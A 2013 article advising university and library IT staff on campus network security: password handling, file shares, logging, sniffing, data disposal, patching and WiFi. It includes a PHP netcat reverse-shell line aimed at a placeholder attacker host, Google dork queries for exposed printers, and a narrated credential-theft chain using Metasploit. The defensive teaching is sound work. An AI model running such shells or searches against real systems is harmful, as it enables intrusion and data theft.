Information Security in University Campus and Open Environments 2013

Adrian Duane Crenshaw

        A few years back I wrote an article on information/network/computer security from the stand point of a University campus. It's been about 8 years, some things have changed (though much has stayed the same) and my experience has grown so I figured that it was time for an update. Also, since I no longer work for a university I can be more open about what I say. :) This article is not very detailed, the scope of the topic is just too large, but I'll try to give you a brain dump of concepts to keep in mind and point you to other articles and tools that can help you out.

        Much of an information security professional's job involves keeping outsiders away from the internal network. A great deal of time and money is spent on firewalls and Intrusion Detection Systems to protect server and client machines from threats coming from the Internet, limiting some attack vectors to only computers on the LAN. Physical security is also taken into consideration, with access cards and locked doors used to keep unwanted visitors off of the local network and to limit physical proximity to the infrastructure. This is all fine and good for corporate environments, but what about open environments like libraries and university campuses? When an organization's purpose is the dissemination of knowledge, the paradigm (don't you just love that word) of information security shifts tremendously and one cannot be sure that all users on the LAN are completely benevolent. This article will be geared towards techs at universities, libraries and other open environments and will attempt to address common security problems that may pop up at these institutions. I'll gear the solutions towards Open Source, freeware, and base operating system security options in a Windows XP/7 (if you are using 8, why?) and Linux environment to keep the information useful to the largest number of people. Not all of us have the budget to buy site licenses for software or other products to protect our patron workstations. Too many articles recommend expensive solutions when there are plenty of free or cheap solutions available. Links to most of the software mentioned as well as sites for further research can be found throughout this article.

A word about terminology

        I'll generally use the term patron to refer to students, faculty, staff and general visitors except where a more specific term is needed. Also, I will use the term attacker or deviant user instead of "hacker" or "cracker" because the later terms have so many different meanings depending on who you talk to (a hacker is a wood cutter and a cracker is some white dude from Georgia). Some folks like the terms White Hat Hacker and Grey Hat Hacker, but those are still too flexible, and sometimes sound silly (I prefer to consider myself a Plaid Hat Hacker). University administrators (the suit kind, not the tech kind) do not really grasp these terms. For example, one of the justifications that was used to take away my personal campus website once was:

"Additionally, Mr. Crenshaw's personal website, housed on university resources, is a compendium of links to know computer hacker websites, hacker toolkits, and other hacker resources."

        So that I am not later accused of plagiarism, that particular quote comes from Dr. Larry Mand after a website I created embarrassed him (it gets way more complicated). He was a comp-sci professor, a vice chancellor, and a smiling idiot, but unfortunately this sort of attitude is not limited to him. Amongst university administrators, I imagine it might be common. Just because someone has a doctorate does not mean they are qualified for the position they are put in.

A different kind of environment

        Institutions like Universities are different from the corporate world. You can't physically lock the patrons out of every computer at your facility. The entire mission of a university or library is to give patrons the tools and information they need to learn and the faculty what they need to teach. At the same time a system administrator has to protect staff and patron workstations from deviant users on the network. Every information security professional worries about internal attacks, but this worry is greatly amplified in a campus or open environment where so many users have physical access to the computers and the network.

        One thing to consider is the power of the users, and by this I mean political power. Students don't really have power beyond "give me what I want or I will take my tuition dollars elsewhere", but that little bit of power may work in the aggregate to get them the technical resources they want. Staff may have power depending on their department, who they work for and what ears they can bend. Where power really comes into play a tenured faculty and administrators. Faculty or administrators can put force on something to get it moved through, even if they have no idea of the security ramifications. As examples. these would not be uncommon dictates/demands:

1. What do you mean I can't be an admin on my own machine? (Doctorate does not equal: "Knows not to click on something stupid")
2. You can put this software on every computer on campus by next week right? It worked fine on my home system. (Testing goes by the wayside)
3. This business app has to run as an administrator. (No, it probably does not, but as with #2 above, in limited time it might be the only expedient option)
4. Faculty given a static IP and settings to assign to a box, confuses their host IP with the gateway address and enters the gateway address as the host address. (Network hilarity ensues, and I have heard of one incident of this were the professor was told of the problem, but because he was tenured he refused to change his setting and made the IT department change their network configuration instead)

        Sadly, I don't have a solution to the issues above, other than making sure the Information Technology department has the political clout to say no. Ideally, the Information Security department should be outside of the Information Technology department for reasons of avoiding political pressure (Example: Hey, can you fudge this security audit to make us look better? I am your boss after all.).

        Another interesting oddity of universities is network inertia and IP space. Many corporations present a few IPs to the Internet, and all of the clients are NATed off. Many universities got in on the IP address space land rush early, so they have enough publically accessible IPs that they can, and do, assign them to workstations, printer and other network gear. Granted, for some types of experimentation you need the public IPs, but not for simple things like email, web surfing and watching YouTube. This makes things more difficult to secure as users don't even have to worm their way into a NATed off network first, then attack the inside. Reverse DNS also makes this interesting, as if it is not configured correctly an attacker can get a good idea of who the user of a given workstation/IP is based on its hostname (acrenshaw-lb104.someuniversity.edu gives away a lot if information).

        So how do we hold back the hordes when the barbarians are already past the gates? In this article I hope to point out some of the common security problems with campus environments and some of the solutions. Many problems may not be solvable because the solution would be counter to the mission of your organization, but with a watchful eye many troubles can be averted. Don't underestimate the power of user awareness training as well, though don't over estimate it either (I believe cynicism is next to Godliness, and I'm an agnostic).

Local Security on Windows Boxes

        It's an old computer security axiom that if an attacker has physical access to a computer, then it is no longer your computer. Barring things like full hard drive encryption, an attacker has complete access to the software and data on a computer if they have unrestricted physical access. Some naive student desktop deplorers may think they are safe because they use NTFS. Hey, I can assign different users different levels of permission to the files, so it's not like the old Windows 9x days and Fat32. The issue is, all the permissions someone sets under the installed OS on the hard drive count for squat if a user brings their own boot device. There are handy boot CDs/USB drives that people can used to either just run the apps they want, or to modify the local drive and get admin access to install them. I used to recommend "Offline NT Password & Registry Editor, Bootdisk / CD" (http://pogostick.net/~pnh/ntpasswd/) for offline password changes and Bart's PE Builder (http://www.nu2.nu/pebuilder/) if you wanted to to run some Windows apps and edit items on an NTFS drive or in the Windows registry. Things have come a long way since then, modern Linux Live CD distros now have good NTFS support, and there are safer ways to reset local passwords. Nowadays I'd look into using Windbuilder (http://reboot.pro/) to make a live CD/USB that lets you boot a cut-down version of Windows, and if you want to reset a local account password (or safer yet create a new admin level account) Sala's Password Renew (http://www.sala.pri.ee/) can be used. Sala's Password Renew may not work on some of the more up-to-date versions of Windows, so also check out NTPWEdit (http://cdslow.webhost.ru/en/ntpwedit/).  Bare in mind that using an offline password reset tool may cause problems with some apps. For example, if someone stores passwords in an app (commonly the web browser), then someone uses an offline password changer on the Windows local login, the password saved in the app may fail to work as it was encrypted with the hash of the previous Windows login password. For that matter, tools like Kon-Boot (http://www.piotrbania.com/all/kon-boot/) can be used from a CD/DVD/USB drive and chain boot to the OS on the local hard drive, but circumvent the authentication process so all local passwords are blank for that boot (rebooting should make authentication go back to normal). I have tutorials on using Windbuilder and making live DVDs/CDs/UFDs at the following URLs:

        Now some reader may be thinking: "Those are just the patron access machines - my staff workstations and file servers are still safe because they are behind locked doors." Let me share my little horror story about network privilege escalation:

        First frat boy Bob becomes a local admin on a workstation using a boot device. He then copies off the SAM and SYSTEM files for later cracking with Cain (http://www.oxid.it/cain.html) or better yet Hashcat (http://hashcat.net). I've done tons of videos/articles over the years on password cracking, so I'll point you to some of those:

Cracking Windows Vista/XP/2000/NT Passwords via SAM and SYSKEY with Cain, Ophcrack, Saminside, BKhive, Samdump2 etc
http://www.irongeek.com/i.php?page=security/cracking-windows-vista-xp-2000-nt-passwords-via-sam-and-syskey-with-cain-ophcrack-saminside-bkhive-etc 

Password Exploitation Class
http://www.irongeek.com/i.php?page=videos/password-exploitation-class

        Many folks use the same local admin passwords on all of the boxes they deploy, allowing Bob to attack other boxes from across the network using the cracked credentials. Bob then installs a software key logger to gain even more credentials as faculty, staff and students login to the compromised workstation. Metasploit's (http://www.metasploit.com/) psexec function using the Meterpreter payload would work great for this as then the attacker can keylog, sniff, dump local hashes and do other fun things. Later on, one of the support staff with admin privileges to the file servers and most of the workstations on campus logs in to do some work and in the process has his user name and password saved for later retrieval by Bob. Now Bob has access to most of the boxes on the network. Yippy!

        The above assumes the attacker is bothering to crack the password, but they may not even need to do that. In some cases the hash can be extracted from the SAM/SYSTEM files and then used to directly authenticate using the pass the hash attack (http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Pass-The-Hash_Toolkit). Having the same local administrator passwords on all of the boxes on the network is not sounding so good now, is it?

        How does one fight against this problem? As stated before, NTFS use to be cited as an answer, but it is not much of a solution as any Linux/Windows PE based boot device can be used to copy off, edit or add files to the system. The first thing I'd recommend is not to have the same local administrator password on all the machines. Use different passwords for different departments, or better yet scrabble the local admin password and rely on domain credentials for doing the administrative work (granted, this is not always practical). I'm personally thinking of implementing something that sets the local administrator password to a hash of the machines MAC address concatenated with a secret key (HASH(MAC+SK)), but I'm sure there a other schemes so that the local passwords and hashes are not the same on all the boxes while still allowing for their recovery if needed. Changing all of the local passwords remotely on a frequent basis is also an option, but just be careful how you do it as not all methods are secure (See http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences for an example of an insecure way to reset local admin passwords that is quite insecure).

        Putting passwords on the BIOS and setting it to only boot from the hard drive can help, but if you are going to do that you have to go all the way and physically lock the case. Otherwise the attacker can just open up the case and pull the battery or reset the right jumper to get in. Generally the physical locking of the stations causes as many problems for the support staff that have to image the systems (using Ghost or a similar tool) as it causes for the attacker, but if you don't plan to nuke and rebuild the machine often then locking the case can be a very good idea (especially if it is in an unsupervised area where people are unlikely to notice someone opening the case and mucking around). To keep attackers from easily cracking your SAM files you can disable the storage of LM hashes (http://support.microsoft.com/default.aspx?scid=KB;EN-US;q299656&) though if you are using Windows Vista or newer LM hashes should be disabled by default. More modern NTLM can still be cracked, but it's not nearly as easy. Watch the "Password Exploitation Class" video above for a full explanation, but the core of it is that LM hashes are essentially two 7 character passwords in all upper case, making them MUCH easier to crack. Another thing to keep in mind is that if you use a password longer than fourteen characters no LM hash will be stored for it. NT hashes can also be cracked of course, but LM hashes are much more vulnerable because they are single case and broken into two easily cracked seven byte chunks. Up to date anti-virus software and regular scans for common key loggers is another good idea (though custom written malware is unlikely to be detected). Also setting up regular password expirations can help to mitigate the effects of key loggers and password cracking, but this does not seem like an easy policy to enforce at a university as faulty and staff hate to be told that they have to change their password (an aforementioned admin had the same one for something like 10 years). Frequent password resets also causes patrons to write the passwords down, so it's a bit of a catch 22. Post-It-Notes on monitors, in desk draws and under keyboards are always good places to look for passwords

Simple Local and Domain Passwords

        How many times have you seen someone use a dictionary word as a local Administrator password? If an attacker can gain administrator account access on a workstation using a boot disk, or just copy off the SAM and SYSTEM files from the hard disk, it can be trivial to crack dictionary passwords using the tools mentioned before, even if LM hash storage is turned off. I use to recommend Samdump2 and John the Ripper (http://www.openwall.com/john/) to crack Windows password, but there are easier and faster tools now. Cain can extract the SYSKEY from the SYSTEM registry hive and use that to extract the password hashes from the SAM file and crack them. If you really want to speed up the cracking process, look into the aforementioned Hashcat, especially if you can use your video card to accelerate the process.

        Now that is just the local passwords on a Windows box, but what about Domain credentials? By default Windows will store a hash for the last 10 domain users locally so that if the box can not connect to a Domain Controller to authenticate the users it can use these local cached hashes as a fall back. These cached hashes are much tougher to break than an LM or NTLM hash, but there are tools to do it. Both Cain and Hashcat have this functionality, though with Hashcat you will have to extract the MSCache cached credentials with a another tool first. .

Remote Password and Default Password

        An attacker may attempt to bruteforce a password remotely by just throwing password after password at the login prompt. Attackers can use tools like THC-Hydra (http://www.thc.org/thc-hydra/), Medusa (http://www.foofus.net/~jmk/medusa/medusa.html) or the old as hell Brutus (http://www.hoobie.net/brutus/) from across the network to try to crack accounts, but this much slower than a local attack. I don't personally do remote brute forcing of passwords. It's loud (assuming anyone is reading the logs, more on that in a bit), slow and prone to error.

        One trick I have used a lot in pen-tests is to check for default passwords. So many pieces of equipment have a default (or no) password on them, and people will just plug them into the network and leave them in their default state. Because so many universities put everything out on the public facing Internet and let port 80/443 through, these pieces of equipment can often be found even by people outside of the local area network. Here are some great examples you can find on the Internet via Google hacking:

Ricoh Savins
    intitle:"web image monitor" site:edu
    "/web/user/en/websys/webArch/mainFrame.cgi" site:edu
    inurl:"/en/sts_index.cgi" site:edu
HP Jetdirects (Varies greatly from model to model)
    inurl:hp/device/this.LCDispatcher
CUPS Connected Printers
    inurl:":631/printers" -php -demo site:edu   

        The above are just printers, many likely to be open to the world with no password. Doing an Nmap for port 80 or 443 will likely turn up plenty of results, some of them being web servers on embedded equipment. Since some multifunction printer also store documents, sensitive information can sometimes be extracted this way (I once found a Social Security Number on a time sheet pulled from the data store of a printer). It's also popular for users to bring in a home storage NAS and hook it up. Other searches can find webcams and networking equipments. Webcams may give information about the facility (can I read that post-it note on your monitor with the password?). All equipment that has a network config page can be a Denial of Service (DoS) issue. What if someone remotes in and edits the TCP/IP setting to make a printer be the Gateway for the network? Not happy times. You should have a policy in place that requires passwords to be set to something other than the default as soon as a piece of gear is attached to the network. While on the subject of printers, it still shocks me that more students don't try to get around print restrictions (number of copies per semester) by just direct IP printing. Embedded devices are also interesting as the may store credentials for other network resources, including Domain creds. Deral Heiland created Praeda (http://www.foofus.net/?page_id=218) to look for just these sorts of vulnerabilities.

        Ensure that password policies do not allow easy-to-guess passwords and that someone is watching the event logs for signs of a brute force attack. Forced password changes for the support staff may be a good idea in some cases, but frequent password changes will cause some staff to write their password down and leave it where someone malicious could find it (the aforementioned post-it note on the monitor is popular). Also avoid using Social Security Numbers as default passwords. I don't think this is done as much as it used to be, but I figured I'd mention it anyway. Social Security information goes across too many desks at a university to be considered secure. Even work-study students may have access to databases of Social Security Numbers, and such information regularly makes it to recycle containers unshredded. The same thing goes for other personal information that's easy to find or guess. Rather than make complexity rules that make passwords so hard to remember that users write them down, go with passphrases where length is what matters (insert "That's What She Said" joke here). This comic strip explains it well:

XKCD on Password Strength

Shared Account Passwords

        I've worked in environments where system administration authority is centralized and the central management won't give enough of the support staff at regional facilities the access rights they need to do their jobs. This may be done in the name of security so fewer people will have the elevated privileges, but it can have a negative effect on the overall security of the organization. If support staff members need certain rights to do their jobs they should be given them, otherwise it leads to password sharing and the use of single accounts that have many users. This can cause major problems for accountability, attribution and damage control. Let's say Kevin has rights to add new machines into the domain, but his staff does not. The central administration does not want to give anyone else the needed rights but Kevin. For Kevin and his staff to get their jobs done Kevin must give his password to his staff members, but what if someone decides to do something "deviant" with the account? The responsible party would be harder to trace because so many staff members have access to the account. Another example is when a support staff member is given the local Administrator passwords to workstations instead of being put into a Domain security group. If that employee is later terminated it's much harder to contain the damage they can do because even if they are taken out of the support staff security groups they still know other staff's passwords and the local Administrator passwords. It's very important to implement a password change policy for when staff leave the organization.

Password Reuse

        This one is a bear. So many people reuse the same password for everything so it's easier to remember. This can come back to bite them if the password at one location is compromised. It's one thing if someone gets into your university account and deletes your term paper, it's another if they use the same password to get into your bank. The university may be using a single sign on system with good security features, but what about all those social networks you are on? Or that forum you sign onto that is not using SSL/TLS? Granted, remembering many passwords is hard. My recommendation as a compromise is to use a few different passwords for different classes of data: One for financial stuff, one for social networks, one for work, one for school, etc. I know writing down passwords is given a bad rap, but written down and stored someplace private like your wallet or purse is better than using the same one everywhere. Better yet, look into using a password vault  like KeePass (http://keepass.info/) and keep it on your thumb drive as well as backed up elsewhere (there are versions for smart phones too). On a related subject, be aware of what information you put out on social network sites and how it ties to your passwords (or password reset questions if your system uses them). The George Bronk case is a great example of someone scraping through Facebook profiles to find potentials passwords (birthdates, pet's names, etc.) to use against accounts. In George's case, the goal was to get nude pics of girls from their private photos. An example where public information and password reset questions came into play is the Sarah Palin Yahoo Email "hack". The questions for resetting her password were simple things like "Where did you meet your husband?" or the like, information that is easily obtainable in the case of a high profile person. If you want more information on profiling people, check out:

OSInt, Cyberstalking, Footprinting and Recon: Getting to know you
http://www.irongeek.com/i.php?page=videos/osint-cyberstalking-footprinting-recon

Turn off File Sharing and Unneeded Services

        Using a host based firewall like the one built in to all versions of Windows since XP SP2 can be a good idea, but better yet is not to have possibly vulnerable services running in the first place. Turning off file sharing on computers that do not need it is a must. Many types of attacks can be averted if an attacker does not have access to administrative shares. Those faculty and staff who must use file and printer sharing should be taught how to set proper share permissions. By default, Windows 2000 use to give the Everyone group full read and write access to shares, Windows XP  and 7 gives just Read to the Everyone group in the default config screen. Many folks don't know any better and just take the defaults.

        To give an example of how bad this can be, let's assume a secretary in one of the offices wants to share a database of student names, Social Security Numbers, and addresses with others in the office. Ideally, this sort of data should not be on a local machine, but often is. She simply right clicks on the folder she wants to share and takes all of the defaults. Now one of the students is poking around on the network to see what computers are out there and what shares they can get into. They could just be curious, or they could be looking for other students that have shared out their MP3 and movie collections. They may just browse around using the modern equivalent of Network Neighborhood (Just the Network icon now), or use an automated tool like SoftPerfect's NetScan (http://www.softperfect.com/products/networkscanner/) to find all of the network shares available to them in a certain IP range. While looking around the student comes across a share called "Student Database"; two guesses what kind of information is in it. Scan your own network for open file shares before someone else does. Besides NetScan there's also ShareEnum (http://technet.microsoft.com/en-us/sysinternals/bb897442.aspx) which can scan for shares by Domain/Workgroup or IP range and report what permissions different groups have to the shares. NetScan happens to be my current tool of choice, but I have an outdated article on "Finding Rogue SMB File Shares On Your Network" (http://ww.irongeek.com/i.php?page=security/roguefileshares) that might be useful to you.

        Disabling unneeded services like Personal Web Server, SNMP, Simple TCP/IP Services and others can also go a long way to cutting down on potential exploits and information harvesting. Even a system that is behind on service packs and hot fixes can't be easily exploited if the vulnerable services aren't there to begin with (well, I guess even that has exceptions when you consider Social Engineering and client side exploits). Turn off anything that is not used and pay attention to what is being installed on the network.

Unread Logs

        Watch the web and security event logs. There are many times where I would not have noticed attackers on the network if it were not for looking in Event Viewer for failed login attempts. Of course logging must be turned on for this to work so open up MMC (Microsoft Management Console), add Security Configuration and Analysis, and setup logging of failed logins and access attempts. Better yet, set up a GPO (Group Policy Object) to automatically configure security auditing when a machine logs on to the network.

        If an IDS (Intrusion Detection System) is running at the facility make sure someone is looking at the logs. An IDS like Snort (http://www.snort.org/) is useless if no one actually looks at what is reported. If you have the cash, look into a SIEM (Security Information and Event Management) system like ArcSight or similar tools to make parsing and looking for interesting events easier. I hear good things about Splunk (http://www.splunk.com/) for log aggregation. There are also some Open Source log management systems, but I have not played with them enough to make recommendations:

Graylog2
http://graylog2.org/

OSSIM
http://sourceforge.net/projects/os-sim/

If you want o play with a bunch of IDS tools in one place then check Doug Burks Security Onion project

Security Onion
http://securityonion.blogspot.com/

It's about the quickest way I know to get an IDS up an running.

Web Apps

        This section is old and in need of expanding and updating. It's been awhile since I ran a personal website from university resources. Most universities give students and staff the ability to create their own web pages on a campus web server. Sometimes the users can even create server side scripts (PHP, Perl, ASP, whatever) for their websites to make them more dynamic. The thing is, some of these scripts can have unintended effects, especially if you have bad file permissions on the server and do not limit the functions students can use. Listing all "dangerous" functions in these programming languages would be a huge effort, instead I will point you to OWASP's cheat sheets where you can find details on server and scripting language hardening:
https://www.owasp.org/index.php/Category:Cheatsheets

        To give you an example, with PHP installed and configured insecurely on a Windows server a user could run an arbitrary program in their web folder, for example Netcat, with a command like this:

                    $x = shell_exec("nc AttackingBoxIP 30 -e cmd ");

        The previous command shovels a shell back to the attacker, allowing them command line access to the web server and from there they could leap frog to other machines and have their identity obscured as that of the web server. Active Server Pages have similar functionality (Wscript.shell). Using methods similar to these, a user could view the source code of another script (possibly revealing database passwords), or if the web server's file system has loose permissions, they could edit other web pages or system files. The same thing goes for Apache/*nix web servers with overly broad permissions (chmod 666 is the mark of the beast when it comes to insecure file permissions). To help limit these risks always use proper file permissions and limit what a user can script (see http://www.php.net for information on using the safe_mode directive in PHP, see Microsoft Knowledgebase article Q278319 for limiting the use of Wscript.shell in Active Server Pages). For newer versions of ASP, like ASP.NET, I've not really touched them enough to give you a strong set of recommendations. Check with OWASP to see if there have a guide for hardening your development environment.

        In the above section I was mostly addressing what students might do, but that's not to say they are the only ones that may fuck up. I used to know of a student directory web app where someone could dump all the names with a simple search using % as the only parameter (SQL Wildcard).

If you want more general web app security information and guidance, definitely check out OWASP's guides:

OWASP (Open Web Application Security Project )
https://www.owasp.org

and a ton of videos Jeremy Druin and I have been involved with:

Web Application Pen-testing Tutorials With Mutillidae
http://www.irongeek.com/i.php?page=videos/web-application-pen-testing-tutorials-with-mutillidae

OWASP Top 5 and Mutillidae: Intro to common web vulnerabilities like Cross Site Scripting (XSS), SQL/Command Injection Flaws, Malicious File Execution/RFI, Insecure Direct Object Reference and Cross Site Request Forgery (CSRF/XSRF)
http://www.irongeek.com/i.php?page=videos/owasp-top-5-louisville

Insecure Protocols and Sniffing

        When possible, insecure protocols that pass credentials in plain text across the network should not be used. Common examples of such insecure protocols are FTP, telnet, POP3, SMTP, and HTTP. In their place use encrypted protocols like SFTP, SSH (Secure Shell), and HTTPS when possible. Protocols like FTP may be hard to switch away from because the clients and servers for more secure protocols like SFTP are not necessarily build into the common Operating Systems patrons will be using. FTP clients come with every recent version of Windows (ftp.exe from the command line and Explorer from a GUI), but free clients that support SFTP, like FileZilla (http://filezilla-project.org/) and PSFTP (http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html), can be downloaded.

        Even with a switched network it's not hard for an attacker on the same subnet/VLAN to use Ettercap (http://ettercap.sourceforge.net/) or Dsniff (http://monkey.org/~dugsong/dsniff/) from a BackTrack boot DVD/UFD (http://www.backtrack-linux.org/) to do some ARP Poisoning (also called ARP spoofing sometimes) and redirect traffic through their host for the purpose of sniffing. These tools can even parse out user names and passwords automatically, making the attacker's job easy. If the attacker ARP Poisons between the gateway and the FTP server he can sniff the traffic and extract user names and passwords as users are trying to get their data from offsite, and the same thing goes for SMTP and POP3. Even with SFTP, SSL, and SSH, passwords can still be sniffed with Ettercap because it has the ability to proxy those types of connections. Cain can do much the same sort of MITM (Man In The Middle) trick on older version of RDP (Remote Desktop Protocol). The user might get a warning that the public key of the server they are trying to get to has changed or may not be valid, but how many users just click past those kinds of messages without actually reading them? I have several specific pages on these sub-topics of network sniffing:

Network Sniffers Class for the Kentuckiana ISSA 2011
http://www.irongeek.com/i.php?page=videos/network-sniffers-class

Basics of Arpspoofing and getting around a switch
http://www.irongeek.com/i.php?page=security/arpspoof 

        Since an attacker has to be on the same subnet/VLAN/wireless network as the box he is ARP Poisoning it's a good idea to split the staff and public networks into at least two subnets (and possibly put a firewall between them). If you wish to be on the look out for potential sniffers on your network there are a few tools that can help (though hopefully your IDS is set up in such a way that it can alert you). ARPWatch (http://en.wikipedia.org/wiki/Arpwatch) will log MAC address to IP mappings and can alert system administrators to changes that may signify that someone is ARP Poisoning the network. Older tools like Sentinel and Sniffdet can be used to ferret out hosts that have their network card in promiscuous mode (accepting all traffic the NIC can see, not just broadcasts and traffic destined for its MAC address), but these are pretty out of date. I'd recommend trying out Ettercaps sniffer detection plugin, which I cover in this video:

Finding Promiscuous Sniffers and ARP Poisoners on your Network with Ettercap
http://www.irongeek.com/i.php?page=videos/finding-promiscuous-and-arp-poisoning-sniffers-on-your-network-with-ettercap

        There are also tools to help set up and manage static ARP tables, but this can be difficult to manage of done on too many hosts:

ARPFreeze: A tool for Windows to protect against ARP poisoning by setting up static ARP entries
http://www.irongeek.com/i.php?page=security/arpfreeze-static-arp-poisoning

        I'll cover more on WiFi evil twin and rogue access point problems later in this article.

Trashing

        Be careful what you throw away. Make sure printouts with patron information are disposed of properly. A good cross cut paper shredder should do the trick, but if you're very paranoid you may want to look into incineration. Make sure all disk based media is also destroyed or wiped properly. Just deleting the contents of a disk is not enough; and neither if formatting if you don't do it right. Tools like PhotoRec (http://www.cgsecurity.org/wiki/PhotoRec) can be used to search byte for byte down storage media, hard drives and flash media for deleted files based on their header/footer. There are several effective methods for destroying digital data before trashing old media. Windows has gotten better over time with this. In Vista and newer versions of Windows un-checking the "quick format" option helps because it will then 0 out the bytes on the drive. Things worked differently in the XP days. Media like diskettes and CDs/DVDs can be broken apart, or shredders can be bought that are especially designed to do the job. Granted, if you want to get picky, there are still ways to get back some of the data from shredded media, but they are cost prohibitive. The most cost effective means is to take a pair of tough shears and cut the diskette or CD into bits, but make sure goggles are worn to protect the wearers eyes from flying shards. Hard drives and flash media can be wiped with tools like Dban (http://www.dban.org/) which securely overwrites data on the hard drive so that even magnetic force microscopy techniques will not likely recover any of the data. One issue with Dban is that it will not get the bad block lists, so if your BIOS does not lock you out of it you may want to look into a tool that uses the ATAs spec's Enhanced Secure Erase options (http://cmrr.ucsd.edu/people/Hughes/SecureErase.shtml). I know some say one wipe is not enough, but here is the counter to that: http://computer-forensics.sans.org/blog/2009/01/15/overwriting-hard-drive-data/

        If your organization does not plan to donate the hardware after they are finished with it they can obtain a large hard drive degausser to permanently scramble the disks. Just keep in mind that the drive will be unusable after it is degaussed. The above is really just the tip of the iceberg when it comes to digital data destruction (Anti-Forensics), more details can be found in these videos:

Anti-Forensics Filler - Irongeek
http://www.irongeek.com/i.php?page=videos/bsidescleveland2012/anti-forensics-irongeek

Anti-Forensics: Occult Computing Class
http://www.irongeek.com/i.php?page=videos/anti-forensics-occult-computing

Network Awareness: Know what's out there

        Patching is very important, but you have to know what's running on your network before you can patch it. Open Source tools like Nmap (http://nmap.org/) and Nagios (http://www.nagios.org/) can be used to find out what kinds of Operating Systems and services are running on your network. WMI scripts and Microsoft Baseline Security Analyzer (http://www.microsoft.com/en-us/download/details.aspx?id=7558) can be used to find out what service packs and hot fixes a Windows box has applied. If you find a box that is not getting patched for some reason, or is beyond it's support lifecycle, dig around and find out why and then get it off the network. If you want to go more in-depth, look into scanning your network with purpose build vulnerability scanners like Nessus (http://www.tenable.com/) or Nexpose (http://www.rapid7.com). There are free community versions of both, though I don't think the licensing allows free use for "higher education" institutions. Some might be surprised how many machines on their network are running outdated, exploit-vulnerable Operating Systems and software. Once you know what Operating Systems and services are out there go patch them.

        While on this subject, look into how your revere DNS works. If you are using publically accessible IP space for your workstations, do you really want someone to do a reverse DNS lookup on your whole IP space and look at the host names to figure out what person uses what host based on their username being part of the machine name? Nmap with the -sL option is great for finding this information.

Patch, Patch, Patch

        If you are reading this article this will come as a big duh. While making sure that unneeded services are disabled limits the scope of potential exploits, patching is still important. Things have gotten a lot better than it used to be with automatic updates/patching (not that automating the process doesn't sometimes cause problems of its own). I remember back in the summer of 2003 running around patching a bunch of boxes by hand because of  MS03-039, just a little bit before the Blaster Worm made its rounds. Know what systems are on the network and patch them in a timely manner. If most of your workstations are Windows based look into setting up a WSUS (http://technet.microsoft.com/en-us/windowsserver/bb332157.aspx) at your facility and push out updates automatically using a GPO (Group Policy Object). For Linux boxes make sure that you choose a distribution that has an easy way to update packages as security vulnerabilities are found. I personally like Debian/Ubuntu based systems since most of the time all that is needed is a quick "apt-get update;apt-get dist-upgrade" command to update all of the installed packages. Most distributions will have and update application of some kind so check the vendor's website for information on applying updates. For third party applications that are not covered by the update tools built into the OS go to the trouble of having someone at your facility sign up with the vendors mailing list so that they are notified when a new version of the software is released. This is especially true for Open Source web apps, but also client side plug-ins like Flash, Acrobat and others. Drive by malware that gets install by clients web surfing to malicious sites with out-of -ate browsers and plug-ins is a major headache for the helpdesk personnel that have to clean up the aftermath.

A Word on Wireless

        Most educational facilities in this day and age will offer WiF (802.11 A, B, G, N, AC or whatever the current spec is by the time you read this) wireless connectivity all over the campus, which raises quite a few new issues. This topic should be in an article onto itself, but I'll mention a few major points here.

        BYOD (Bing You Own Device) is a big buzz word now in IT, but universities have faced this problem pretty much from the start. Since you can't control what patrons have on their laptops, and other wireless devices, it's harder to keep certain kinds of malware off of the network. A worm that's blocked by your Internet facing firewall may have no problem spreading from an infected laptop that a patron brings onto the wireless network. A good practice is to have the wireless side of the network well filtered by a firewalled from the wired side.

        Assuming you offer completely open WiFi access, keep in mind that all of the traffic can be sniffed. This may not be an issue to you, but it's something patrons should be aware of. Most of the information provided in the "Insecure Protocols and Sniffing" section of this article applies to WiFi as well. One problem you may see at universities is legacy equipment, which may not support better wireless encryption protocols. This may tempt some to have special WAPS just for these legacy systems to use, but really this will lead to more troubles. WEP (Wired Equivalent Privacy) is long in the tooth and broke as hell at this point. Cracking WEP has been dumbed down to the point where anyone can do it, Fern-WiFi-Cracker being a good example of a tool that automates the process (http://code.google.com/p/fern-wifi-cracker/). WEP is nearly useless in open environments like a campus since anyone with the key can read the data sent from other wireless stations. WPA PSK (Wi-Fi Protected Access Pre-Shared Key) can be used to encrypt data sent on the wireless network but is ungainly to set up on computers your facility does not control (your patrons laptops and other wireless devices). Also, with local access the PSKs can be extracted with tools like WirelessKeyView (http://www.nirsoft.net/utils/wireless_key.html). Pre-Shared Key systems also do not allow for individual user authentication if your organization wants to know who did what when and where. WPA and WPA2 with a PSK (pre-shared key) are nice in that even with every user using the same PSK they can't directly sniff each others network traffic because of TKIP (Temporal Key Integrity Protocol). Well, there is an exception to that, others' WPA/WPA2 traffic can be sniffed if you can connect to the network and ARP poison between the clients/access points. Like WEP, WPA1/2 using a PSK does not allow for individual user authentication so there is still the attribution problem. Luckily, versions of WPA can also be made to work with a 802.1X authentication server (WPA-Enterprise), but that may be a harder solution to implement for some than a simple VPN. Back when WEP was the only thing out there, the easiest solution in many cases was just set up a user authenticated VPN (Virtual Private Network) and have users connect to if after first connecting to the open WiFi. Not sure that is optimal, as sometimes other box on the open WiFi may be inadvertently set up as gateways. By the way, even if you are using a version of WPA, make sure you turn off WPS support if it is there. WPS makes thing easier for home setup, but it is also pretty crackable (http://code.google.com/p/reaver-wps/).

        Some will recommend using MAC address filtering and turning off  beaconing as a form of authentication. Cloaking of SSID beaconing is not much of a protection since it can be gotten around easily. When a client associates with an access point, it sends the SSID in the clear (even with WEP or WPA turned on). A network card in monitor mode can sniff this out of the air using a passive tool like Kismet (http://www.kismetwireless.net/). I personally am not in favor of using MAC address filtering as it's less flexible, does not offer encryption of the data by itself, and is easy to get around. MAC address filtering alone may keep out the novice, but a knowledgeable attacker will fire up a passive wardriving tool like Kismet and look for valid client MAC addresses as they connect and transmit data. They will then set their wireless card's MAC address to that of a valid client (http://www.irongeek.com/i.php?page=security/changemac).

        Another viable option for attackers is to setup an Evil Twin access point. This amounts to having another SSID out there on hardware the attacker controls with the same name as the legitimate one. How will users know which to attach to? Karma/Jasager style attacks do this one better by listening to probes for preferred networks, then when the evil router sees a probe from a client for any SSID it responds "Hey, that's me, go ahead and connect".  There are a ton of tools working behind the scenes that will let you set up an evil twin or Karma style attack, but I think easy-creds (http://code.google.com/p/easy-creds/) does this better that most from a streamlining of use standpoint.

